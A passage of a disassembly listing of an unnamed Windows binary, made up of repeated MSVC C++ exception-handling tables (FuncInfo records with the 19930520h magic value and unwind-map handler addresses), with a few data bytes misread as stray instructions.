		dd offset loc_43A228
		dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8	dd 19930520h, 6, 4406E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A270h,	0
		dd offset loc_43A278
		dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720	dd 19930520h, 3, 440740h, 5 dup(0)		dd 0FFFFFFFFh, 43A2C0h,	0
		dd offset loc_43A2C8
		dd 1, 43A2D0h, 2 dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	2 dup(0)
dword_440790	dd 19930520h, 7, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A310h,	0
		dd offset loc_43A318
		dd 0FFFFFFFFh, 43A320h,	0FFFFFFFFh, 43A328h, 3,	43A330h
		dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0	dd 19930520h, 24h, 440810h, 5 dup(0)		dd 0FFFFFFFFh, 43A370h,	0
		dd offset loc_43A378
		dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
		dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
		dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h,	0Dh, 43A425h, 0Eh
		dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh,	11h, 43A45Dh, 11h
		dd 43A465h, 11h, 43A46Dh, 11h, 43A475h,	11h, 43A47Dh, 11h
		dd 43A485h, 11h, 43A48Dh, 11h, 43A495h,	11h, 43A49Dh, 11h
		dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h,	11h, 43A4BDh, 11h
		dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h,	11h, 43A4DDh, 11h
		dd 43A4E5h, 8 dup(0)
dword_440950	dd 19930520h, 11h, 440970h, 5 dup(0)		dd 0FFFFFFFFh, 43A560h,	0
		dd offset loc_43A568
		dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h
		dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah
		dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h,	0Dh, 43A615h, 0Eh
		dd 43A623h, 0Fh, 43A631h, 4 dup(0)
dword_440A08	dd 19930520h, 38h, 440A28h, 5 dup(0)		dd 0FFFFFFFFh, 43A690h,	0
		dd offset loc_43A69B
		dd 1, 43A6A6h, 0
		dd offset loc_43A6B1
		dd 0
		dd offset loc_43A6BC
		dd 0
		dd offset loc_43A6C7
		dd 0
		dd offset loc_43A6D2
		dd 0
		dd offset loc_43A6DD
		dd 0
		dd offset loc_43A6E8
		dd 0
		dd offset loc_43A6F3
		dd 9, 43A6FEh, 0
		dd offset loc_43A709
		dd 0
		dd offset loc_43A714
		dd 0
		dd offset loc_43A71F
		dd 0
		dd offset loc_43A72A
		dd 0Eh,	43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch
		dd 0Eh,	43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh
		dd 0
		dd offset loc_43A799
		dd 0
		dd offset loc_43A7A4
		dd 0
		dd offset loc_43A7B2
		dd 0
		dd offset loc_43A7C0
		dd 1Ah,	43A7CBh, 1Bh, 43A7D6h, 0
		dd offset loc_43A7E1
		dd 1Dh,	43A7ECh, 0
		dd offset loc_43A7F7
		dd 1Fh,	43A802h, 0
		dd offset loc_43A80D
		dd 0
		dd offset loc_43A818
		dd 0
		dd offset loc_43A823
		dd 0
		dd offset loc_43A82E
		dd 0
		dd offset loc_43A839
		dd 25h,	43A844h, 26h, 43A84Fh, 0
		dd offset loc_43A84F
		dd 28h,	43A844h, 0
		dd offset loc_43A85A
		dd 0
		dd offset loc_43A865
		dd 2Bh,	43A870h, 2Ch, 43A87Bh, 0
		dd offset loc_43A87B
		dd 2Eh,	43A870h, 2Eh, 43A886h, 0
		dd offset loc_43A891
		dd 31h,	43A89Ch, 0
		dd offset loc_43A8A7
		dd 0
		dd offset loc_43A8B2
		dd 34h,	43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0)
dword_440C18	dd 19930520h, 1, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A970h,	2 dup(0)
dword_440C48	dd 19930520h, 1, 440C68h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	2 dup(0)
dword_440C78	dd 19930520h, 6, 440C98h, 5 dup(0)		dd 0FFFFFFFFh, 43A9B0h,	0
		dd offset loc_43A9B8
		dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0)
dword_440CD0	dd 19930520h, 6, 440CF0h, 5 dup(0)		dd 0FFFFFFFFh, 43AA10h,	0
		dd offset loc_43AA18
		dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0)
dword_440D28	dd 19930520h, 0Ah, 440D48h, 5 dup(0)		dd 0FFFFFFFFh, 43AA70h,	0FFFFFFFFh, 43AA78h, 0FFFFFFFFh
		dd 43AA80h, 0FFFFFFFFh,	43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh
		dd 43AA98h, 0FFFFFFFFh,	43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh
		dd 43AAB0h, 0FFFFFFFFh,	43AAB8h, 4 dup(0)
dword_440DA8	dd 19930520h, 0Eh, 440DC8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAE0h,	0
		dd offset loc_43AAE8
		dd 0FFFFFFFFh, 43AAF3h,	0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh
		dd 43AB03h, 0FFFFFFFFh,	43AB0Bh, 5, 43AB16h, 0FFFFFFFFh
		dd 43AB1Eh, 0FFFFFFFFh,	43AB26h, 0FFFFFFFFh, 43AB2Eh, 9
		dd 43AB39h, 0FFFFFFFFh,	43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h
		dd 4 dup(0)
dword_440E48	dd 19930520h, 2, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB98h,	0
		dd offset loc_43AB90
		align 10h
dword_440E80	dd 19930520h, 2, 440EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABD0h,	0
		dd offset loc_43ABD8
		dd 2 dup(0)
dword_440EB8	dd 19930520h, 1, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43ABF0h,	2 dup(0)
dword_440EE8	dd 19930520h, 7, 440F08h, 5 dup(0)		dd 0FFFFFFFFh, 43AC10h,	0
		dd offset loc_43AC18
		dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
		dd 2 dup(0)
dword_440F48	dd 19930520h, 4, 440F68h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	0
		dd offset loc_43AC7B
		dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90	dd 19930520h, 4, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8	dd 19930520h, 2, 440FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010	dd 19930520h, 1, 441030h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	2 dup(0)
dword_441040	dd 19930520h, 1, 441060h, 5 dup(0)		dd 0FFFFFFFFh, 43AD50h,	2 dup(0)
dword_441070	dd 19930520h, 2, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43AD70h,	0
		dd offset loc_43AD78
		dd 2 dup(0)
dword_4410A8	dd 19930520h, 3, 4410C8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0
		dd offset loc_43AD98
		dd 1, 43ADA3h, 2 dup(0)
dword_4410E8	dd 19930520h, 3, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43ADD0h,	0
		dd offset loc_43ADD8
		dd 1, 43ADE0h, 2 dup(0)
dword_441128	dd 19930520h, 1, 441148h, 5 dup(0)		dd 0FFFFFFFFh, 43AE00h,	2 dup(0)
dword_441158	dd 19930520h, 4, 441178h, 5 dup(0)		dd 0FFFFFFFFh, 43AE20h,	0
		dd offset loc_43AE28
		dd 0
		dd offset loc_43AE30
		dd 0
		dd offset loc_43AE3B
		align 10h
dword_4411A0	dd 19930520h, 6, 4411C0h, 5 dup(0)		dd 0FFFFFFFFh, 43AE60h,	0
		dd offset loc_43AE68
		dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8	dd 19930520h, 3, 441218h, 5 dup(0)		dd 0FFFFFFFFh, 43AEB0h,	0
		dd offset loc_43AEBB
		dd 1, 43AEC6h, 2 dup(0)
dword_441238	dd 19930520h, 4, 441258h, 5 dup(0)		dd 0FFFFFFFFh, 43AEF0h,	0
		dd offset loc_43AEF8
		dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280	dd 19930520h, 5, 4412A0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF30h,	0
		dd offset loc_43AF38
		dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0	dd 19930520h, 4, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF80h,	0
		dd offset loc_43AF88
		dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318	dd 19930520h, 3, 441338h, 5 dup(0)		dd 0FFFFFFFFh, 43AFC0h,	0
		dd offset loc_43AFC8
		dd 1, 43AFD0h, 2 dup(0)
dword_441358	dd 19930520h, 1, 441378h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	2 dup(0)
dword_441388	dd 19930520h, 2, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		align 10h
dword_4413C0	dd 19930520h, 2, 4413E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B030h,	0
		dd offset loc_43B038
		dd 2 dup(0)
dword_4413F8	dd 19930520h, 3, 441418h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B05B
		dd 1, 43B066h, 2 dup(0)
dword_441438	dd 19930520h, 1, 441458h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	2 dup(0)
dword_441468	dd 19930520h, 1, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	2 dup(0)
dword_441498	dd 19930520h, 4, 4414B8h, 5 dup(0)		dd 0FFFFFFFFh, 43B0D0h,	0
		dd offset loc_43B0D8
		dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0	dd 19930520h, 7, 441500h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2, 43B128h,	3, 43B130h, 4, 43B138h,	0FFFFFFFFh
		dd 43B140h, 2 dup(0)
dword_441540	dd 19930520h, 1Bh, 441560h, 5 dup(0)		dd 0FFFFFFFFh, 43B170h,	0
		dd offset loc_43B178
		dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
		dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
		dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh,	0Dh, 43B22Bh, 0Eh
		dd 43B239h, 0Fh, 43B247h, 10h, 43B255h,	11h, 43B263h, 12h
		dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh,	15h, 43B29Bh, 16h
		dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h,	19h, 43B2D3h, 6	dup(0)
dword_441650	dd 19930520h, 1Bh, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B350h,	0
		dd offset loc_43B358
		dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
		dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
		dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh,	0Dh, 43B40Bh, 0Eh
		dd 43B419h, 0Fh, 43B427h, 10h, 43B435h,	11h, 43B443h, 12h
		dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh,	15h, 43B47Bh, 16h
		dd 43B489h, 17h, 43B497h, 18h, 43B4A5h,	19h, 43B4B3h, 6	dup(0)
dword_441760	dd 19930520h, 1, 441780h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441790	dd 19930520h, 3Dh, 4417B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B550h,	0
		dd offset loc_43B55B
		dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
		dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
		dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h,	0Dh, 43B60Eh, 0Eh
		dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h,	11h, 43B646h, 12h
		dd 43B654h, 13h, 43B662h, 14h, 43B670h,	15h, 43B67Eh, 16h
		dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h,	19h, 43B6B6h, 1Ah
		dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h,	1Dh, 43B6EEh, 1Eh
		dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h,	21h, 43B726h, 22h
		dd 43B734h, 23h, 43B742h, 24h, 43B750h,	25h, 43B75Eh, 26h
		dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h,	29h, 43B796h, 2Ah
		dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h,	2Dh, 43B7CEh, 2Eh
		dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h,	31h, 43B806h, 32h
		dd 43B814h, 33h, 43B822h, 34h, 43B830h,	35h, 43B83Eh, 36h
		dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h,	39h, 43B876h, 3Ah
		dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0	dd 19930520h, 4, 4419F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B980h,	0
		dd offset loc_43B98B
		dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18	dd 19930520h, 6, 441A38h, 5 dup(0)		dd 0FFFFFFFFh, 43B9D0h,	0
		dd offset loc_43B9DB
		dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70	dd 19930520h, 4, 441A90h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4E
		dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8	dd 19930520h, 5, 441AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BAA0h,	0
		dd offset loc_43BAAB
		dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08	dd 19930520h, 5, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	0
		dd offset loc_43BB0B
		dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58	dd 19930520h, 1, 441B78h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441B88	dd 19930520h, 1, 441BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441BB8	dd 19930520h, 1, 441BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441BE8	dd 19930520h, 2, 441C08h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BBh, 43h, 0
		align 10h
dword_441C20	dd 19930520h, 4, 441C40h, 5 dup(0)		dd 0FFFFFFFFh, 43BBF0h,	0
		dd offset loc_43BBFB
		dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68	dd 19930520h, 4, 441C88h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC4B
		dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC90h,	0
		dd offset loc_43BC9B
		dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08	dd 19930520h, 4, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	0
		dd offset loc_43BD0E
		dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50	dd 19930520h, 5, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BD60h,	0
		dd offset loc_43BD6B
		dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0	dd 19930520h, 5, 441DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BDh, 43h, 0
		dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0	dd 19930520h, 1, 441E10h, 5 dup(0)		dd 0FFFFFFFFh, 43BE20h,	2 dup(0)
dword_441E20	dd 19930520h, 1, 441E40h, 5 dup(0)		dd 0FFFFFFFFh, 43BE40h,	2 dup(0)
dword_441E50	dd 19930520h, 1, 441E70h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	2 dup(0)
dword_441E80	dd 19930520h, 2, 441EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_441EB8	dd 19930520h, 4, 441ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	0
		dd offset loc_43BEBB
		dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00	dd 19930520h, 1, 441F20h, 5 dup(0)		dd 0FFFFFFFFh, 43BF00h,	2 dup(0)
dword_441F30	dd 19930520h, 2, 441F50h, 5 dup(0)		dd 0FFFFFFFFh, 43BF20h,	0
		dd offset loc_43BF2B
		dd 2 dup(0)
dword_441F68	dd 19930520h, 1, 441F88h, 5 dup(0)		dd 0FFFFFFFFh, 43BF50h,	2 dup(0)
dword_441F98	dd 19930520h, 1, 441FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF70h,	2 dup(0)
dword_441FC8	dd 19930520h, 2, 441FE8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF90h,	0
		dd offset loc_43BF9B
		align 10h
dword_442000	dd 19930520h, 1, 442020h, 5 dup(0)		dd 0FFFFFFFFh, 43BFC0h,	2 dup(0)
dword_442030	dd 19930520h, 3, 442050h, 5 dup(0)		dd 0FFFFFFFFh, 43BFE0h,	0
		dd offset loc_43BFF7
		dd 1, 43BFFFh, 2 dup(0)
dword_442070	dd 19930520h, 1, 442090h, 5 dup(0)		dd 0FFFFFFFFh, 43C020h,	2 dup(0)
dword_4420A0	dd 19930520h, 4, 4420C0h, 5 dup(0)		dd 0FFFFFFFFh, 43C048h,	0
		dd offset sub_43C040
		dd 0
		dd offset loc_43C05F
		dd 2, 43C067h, 2 dup(0)
dword_4420E8	dd 19930520h, 6, 442108h, 5 dup(0)		dd 0FFFFFFFFh, 43C090h,	0FFFFFFFFh, 43C098h, 0FFFFFFFFh
		dd 43C0A0h, 0FFFFFFFFh,	43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
		dd 43C0B8h, 2 dup(0)
dword_442140	dd 19930520h, 1Ah, 442160h, 5 dup(0)		dd 0FFFFFFFFh, 43C0E0h,	0
		dd offset loc_43C0EB
		dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
		dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
		dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
		dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
		dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248	dd 19930520h, 4, 442268h, 5 dup(0)		dd 0FFFFFFFFh, 43C270h,	0
		dd offset loc_43C278
		dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290	dd 19930520h, 4, 4422B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C2B0h,	0
		dd offset loc_43C2B8
		dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8	dd 19930520h, 6, 4422F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C2F0h,	0
; ---------------------------------------------------------------------------
		clc
		retn	43h
; ---------------------------------------------------------------------------
		dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330	dd 19930520h, 6, 442350h, 5 dup(0)		dd 0FFFFFFFFh, 43C350h,	0
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------
		dw 43h
		dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388	dd 19930520h, 6, 4423A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C3B0h,	0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
		dd 43C3C6h, 2, 43C3D1h,	3, 43C3DCh, 2, 43C3E7h,	2 dup(0)
dword_4423E0	dd 19930520h, 3, 442400h, 5 dup(0)		dd 0FFFFFFFFh, 43C410h,	0FFFFFFFFh, 43C418h, 0FFFFFFFFh
		dd 43C420h, 2 dup(0)
dword_442420	dd 19930520h, 5, 442440h, 5 dup(0)		dd 0FFFFFFFFh, 43C440h,	0FFFFFFFFh, 43C448h, 0FFFFFFFFh
		dd 43C450h, 0FFFFFFFFh,	43C458h, 0FFFFFFFFh, 43C460h, 2	dup(0)
dword_442470	dd 19930520h, 0Ch, 442490h, 5 dup(0)		dd 0FFFFFFFFh, 43C480h,	0
		dd offset loc_43C488
		dd 0FFFFFFFFh, 43C490h,	0FFFFFFFFh, 43C498h, 0FFFFFFFFh
		dd 43C4A0h, 0FFFFFFFFh,	43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
		dd 43C4B8h, 0FFFFFFFFh,	43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
		dd 43C4D0h, 0FFFFFFFFh,	43C4D8h, 4 dup(0)
		dd 19930520h, 2, 442520h, 1, 442530h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442548h, 4	dup(0)
		dd offset loc_41EF2C
		align 10h
dword_442560	dd 19930520h, 0Ah, 442580h, 5 dup(0)		dd 0FFFFFFFFh, 43C520h,	0
		dd offset loc_43C52B
		dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
		dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0	dd 19930520h, 2, 442600h, 5 dup(0)		dd 0FFFFFFFFh, 43C5C0h,	0
		dd offset loc_43C5C8
		dd 2 dup(0)
dword_442618	dd 19930520h, 3, 442638h, 5 dup(0)		dd 0FFFFFFFFh, 43C5E0h,	0FFFFFFFFh, 43C5EBh, 1,	43C5F6h
		dd 2 dup(0)
dword_442658	dd 19930520h, 1, 442678h, 5 dup(0)		dd 0FFFFFFFFh, 43C620h,	2 dup(0)
dword_442688	dd 19930520h, 2, 4426A8h, 5 dup(0)		dd 0FFFFFFFFh, 43C640h,	0
		dd offset loc_43C64B
		align 10h
dword_4426C0	dd 19930520h, 16h, 4426E0h, 5 dup(0)		dd 0FFFFFFFFh, 43C670h,	0
		dd offset loc_43C67B
		dd 0
		dd offset loc_43C683
		dd 0
		dd offset loc_43C68B
		dd 3, 43C693h, 4, 43C69Bh, 0
		dd offset loc_43C6A3
		dd 6, 43C6ABh, 7, 43C6B3h, 0
		dd offset loc_43C6BB
		dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
		dd offset loc_43C6D3
		dd 0Ch,	43C6DBh, 0Dh, 43C6E3h, 0
		dd offset loc_43C6EB
		dd 0Fh,	43C6F3h, 0
		dd offset loc_43C6FB
		dd 11h,	43C703h, 0
		dd offset loc_43C70B
		dd 13h,	43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8	dd 19930520h, 1, 4427C8h, 5 dup(0)		dd 0FFFFFFFFh, 43C760h,	2 dup(0)
dword_4427D8	dd 19930520h, 1, 4427F8h, 5 dup(0)		dd 0FFFFFFFFh, 43C790h,	2 dup(0)
dword_442808	dd 19930520h, 5, 442828h, 5 dup(0)		dd 0FFFFFFFFh, 43C7C0h,	0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
		dd 43C7D0h, 0FFFFFFFFh,	43C7D8h, 0FFFFFFFFh, 43C7E0h, 2	dup(0)
dword_442858	dd 19930520h, 0Bh, 442878h, 5 dup(0)		dd 0FFFFFFFFh, 43C800h,	0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
		dd 43C821h, 0FFFFFFFFh,	43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
		dd 43C842h, 0FFFFFFFFh,	43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
		dd 43C863h, 0FFFFFFFFh,	43C86Eh, 0FFFFFFFFh, 43C816h, 4	dup(0)
dword_4428E0	dd 19930520h, 1, 442900h, 5 dup(0)		dd 0FFFFFFFFh, 43C8B0h,	2 dup(0)
dword_442910	dd 19930520h, 5, 442930h, 5 dup(0)		dd 0FFFFFFFFh, 43C8D0h,	0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
		dd 43C8E0h, 0FFFFFFFFh,	43C8E8h, 0FFFFFFFFh, 43C8F0h, 2	dup(0)
dword_442960	dd 19930520h, 15h, 442980h, 5 dup(0)		dd 0FFFFFFFFh, 43C910h,	0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
		dd 43C923h, 0FFFFFFFFh,	43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
		dd 43C93Bh, 0FFFFFFFFh,	43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
		dd 43C956h, 0FFFFFFFFh,	43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
		dd 43C971h, 0FFFFFFFFh,	43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
		dd 43C989h, 0FFFFFFFFh,	43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
		dd 43C9A4h, 0FFFFFFFFh,	43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
		dd 43C9BCh, 6 dup(0)
dword_442A40	dd 19930520h, 1, 442A60h, 5 dup(0)		dd 0FFFFFFFFh, 43CA00h,	2 dup(0)
dword_442A70	dd 19930520h, 5, 442A90h, 5 dup(0)		dd 0FFFFFFFFh, 43CA20h,	0
		dd offset loc_43CA28
		dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0	dd 19930520h, 5, 442AE0h, 5 dup(0)		dd 0FFFFFFFFh, 43CA70h,	0
		dd offset loc_43CA78
		dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
dword_442B10	dd 19930520h, 1, 442B30h, 5 dup(0)		dd 0FFFFFFFFh, 43CAC0h,	2 dup(0)
dword_442B40	dd 19930520h, 1, 442B60h, 5 dup(0)		dd 0FFFFFFFFh, 43CAE0h,	2 dup(0)
dword_442B70	dd 19930520h, 1, 442B90h, 5 dup(0)		dd 0FFFFFFFFh, 43CB00h,	2 dup(0)
dword_442BA0	dd 19930520h, 1, 442BC0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB20h,	2 dup(0)
dword_442BD0	dd 19930520h, 1, 442BF0h, 5 dup(0)		dd 0FFFFFFFFh, 43CB40h,	2 dup(0)
dword_442C00	dd 19930520h, 1, 442C20h, 5 dup(0)		dd 0FFFFFFFFh, 43CB60h,	2 dup(0)
dword_442C30	dd 19930520h, 1, 442C50h, 5 dup(0)		dd 0FFFFFFFFh, 43CB80h,	2 dup(0)
dword_442C60	dd 19930520h, 1, 442C80h, 5 dup(0)		dd 0FFFFFFFFh, 43CBA0h,	2 dup(0)
dword_442C90	dd 19930520h, 6, 442CB0h, 5 dup(0)		dd 0FFFFFFFFh, 43CBC0h,	0
		dd offset loc_43CBC8
		dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8	dd 19930520h, 6, 442D08h, 5 dup(0)		dd 0FFFFFFFFh, 43CC20h,	0
		dd offset loc_43CC28
		dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40	dd 19930520h, 3, 442D60h, 5 dup(0)		dd 0FFFFFFFFh, 43CC80h,	0
		dd offset loc_43CC88
